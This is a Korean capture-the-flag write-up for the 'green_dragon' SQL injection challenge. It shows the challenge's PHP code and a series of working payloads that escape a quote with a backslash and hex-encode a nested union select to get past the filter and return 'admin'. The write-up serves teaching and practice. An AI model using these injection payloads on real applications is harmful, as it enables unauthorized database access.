Write-Up
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
문제의 조건은 위와 같다. 먼저 아래와 같은 payload를 통해 query를 참으로 만들어 주고자 했다.
?id=\&pw=%20or%201%23
그러나 아무런 반응이 없었다. 테이블에 값이 없는 것으로 추정된다. 그렇기 때문에 union select 를 통해 [ 컬럼 : 값 ] 과 같은 결과를 만들어 출력하고자 한다.
?id=\&pw=union%20select%201,2%23
위와 같은 payload로 query2 : 가 echo 되어 페이지에 출력된 것을 볼 수 있다. 이제 $result['id']가 admin이 되도록 payload를 완성해준다.
?id=\&pw=%20union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23
위와 같은 payload를 사용한 이유는 ' (싱글 쿼터)의 사용 불가로, hex 값으로 변형을 해주었다. ' \ ' (백슬래시) 문자를 사용하려면 hex 값으로의 변환은 필수적이다. ( admin에 대한 hex 값 변경도 마찬가지이다. )
query : select id,pw from prob_green_dragon where id='\' and pw=' union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523#'
위의 query를 따져봤을 때, 0x5c 가 id 가 되고, 0x756e696f6e2073656c6563742030783631363436643639366523 가 pw 가 된다.
query2 : select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#' ( 그림 1 참조 )
실습
위 실습으로 테이블이 비어 있어도, union select 구문을 사용해 [ 컬럼 : value ] 형태로 출력될 수 있음을 확인할 수 있다.
hex 값으로 query를 요청해도, sql 에서 알아서 해당 hex 문자에 맞는 ASCII 문자로 해석해준다.
참고로... admin을 HEX 값으로 변경하면, 0x610x640x6d0x690x6e 인데, 0x61646d696e 와 같이 제일 앞에 0x를 붙인 걸로 표현해줄 수 있다.
참고
https://www.branah.com/ascii-converter